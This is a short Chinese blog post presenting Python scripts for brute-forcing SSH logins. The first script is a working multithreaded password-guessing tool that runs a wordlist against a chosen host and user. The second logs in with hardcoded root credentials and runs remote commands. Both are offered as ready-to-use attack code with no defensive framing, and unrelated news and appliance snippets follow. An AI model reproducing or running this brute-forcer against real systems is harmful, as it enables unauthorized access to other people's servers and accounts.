Python脚本--爆破SSH
admin
2023-07-04 03:02:44
0

利用Pxssh是pexpect库的ssh专用脚本

环境:kali

代码:

'''
Author:yw
'''
from pexpect import pxssh
import optparse
from threading import *

Max_Connect = 5
connection_lock = BoundedSemaphore(value=Max_Connect)

def connect(host, user, password):
    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        print("[+]Password Found:"+password)
        Found = True
    except Exception as e:
        pass
def main():
    parser = optparse.OptionParser('usage %prog -H  -f  -u ')
    parser.add_option('-H', dest='host', type='string', help='target host')
    parser.add_option('-f', dest='passwdfile',type='string', help='passwofile')
    parser.add_option('-u', dest='user', type='string', help='login username')
    (options,args) = parser.parse_args()
    host = options.host
    passwdfile = options.passwdfile
    user = options.user
    if host==None or passwdfile==None or user==None:
        print(parser.usage)
        exit(0)
    mn = open(passwdfile,'r')
    lines = mn.readlines()
    for line in lines:
        with connection_lock:
            password = line.strip('\n')
            print('[-] Test:'+str(password))
            t = Thread(target=connect,args=(host, user, password))
            t.start()
if __name__ == '__main__':
    main()

执行结果:
Python脚本--爆破SSH

爆破成功后(远程执行上述命令)

代码:

'''
Author:yw
'''
from pexpect import pxssh
def send_shell(s,shell):
    s.sendline(shell)
    s.prompt()
    print s.before
def connect(host,user,password):
    try:
        s=pxssh.pxssh()
        s.login(host,user,password)
        return s
    except:
        print("[-] Error Connecting")
        exit(0)
s=connect('127.0.0.1','root','toor')
send_shell(s,'uname -a')

Python脚本--爆破SSH

相关内容

热门资讯

日本要搞两个首都? 日本媒体日前报道,日本维新会正在推进将大阪设为“副首都”的构想,定于6月中旬组建一个专门小组。对此,...
稳舵扬帆正当时——5月全国各地... 原标题:稳中求进每月看|稳舵扬帆正当时——5月全国各地经济社会发展观察从多地以法治之力护航民营经济高...
燃气灶打火一会就灭是什么原因呢 原因是1、燃气灶过压保护,可以通过增加减压阀来解决这个问题。2、可能是因为燃气灶电池没有电了,可以将...
燃气开的燃气灶打不了火什么原因 可能是燃气灶电池电量不足。可能是燃气通路不畅通,如果火花声音清脆有力,但是点不着火。可能是燃气灶老化...
好太太燃气灶有电有气打不 这种情况原因有很多种,1、可能的原因就是我们的燃气灶进入了过压保护,我们家中使用的很多燃气灶都有过压...
燃气灶打火就是不着咋办 燃气灶是我们日常生活中经常使用的家用电器,但有时候我们会遇到燃气灶打火不着的情况,让人十分苦恼。那我...
燃气灶光打火没有气进来怎么回事 原因是燃气灶电池没有电了,可以将燃气灶的电池盒拆下来更换一个新的一号电池;还有可能是燃气灶的线路接触...
内蒙古包头:首批投运1000辆... 新华社5月31日消息,近日,我国自主研发的氢能两轮车在内蒙古自治区包头市面向公众投入运营,首批将在公...
缅甸边境发生爆炸,云南群众目击... 5月31日,缅甸掸邦北部南坎镇发生一起爆炸事故,已导致多人伤亡,多处民宅、房屋遭到严重损毁。经初步调...
大湾区打出智造新名片,高域首台... 近日,在广州黄埔区的智能制造产业园内,一架白色多旋翼飞行器缓缓驶出生产线,标志着高域(GOVY)这家...